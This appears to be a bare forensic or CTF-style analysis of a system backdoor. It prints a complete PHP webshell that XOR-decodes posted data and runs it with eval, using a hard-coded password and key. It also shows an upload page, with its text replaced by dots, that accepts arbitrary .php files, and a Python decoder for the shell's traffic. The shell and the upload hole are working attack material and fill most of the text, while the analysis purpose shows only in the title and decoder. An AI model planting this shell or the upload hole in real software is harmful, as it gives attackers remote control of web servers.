系统后门用户分析

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='gg';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>...... PHP ......</title>
</head>
<body>
    <h2>...... PHP ......</h2>

    
            <p style="color:green;">PHP .....................<br>
        <a href="uploads/php_68525da04b2c37.31016234.php" target="_blank">............... PHP ......</a></p>
    
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" id="fileToUpload" accept=".php">
        <input type="submit" value="...... PHP ......">
    </form>
</body>
</html>

import base64
import gzip
from urllib.parse import unquote_plus

key = b"3c6e0b8a9c15224a"

def decode_gg(raw_value: str) -> bytes:
    data = base64.b64decode(unquote_plus(raw_value))
    data = bytes(
        value ^ key[(i + 1) & 15]
        for i, value in enumerate(data)
    )
    return gzip.decompress(data) if data[:2] == b"\x1f\x8b" else data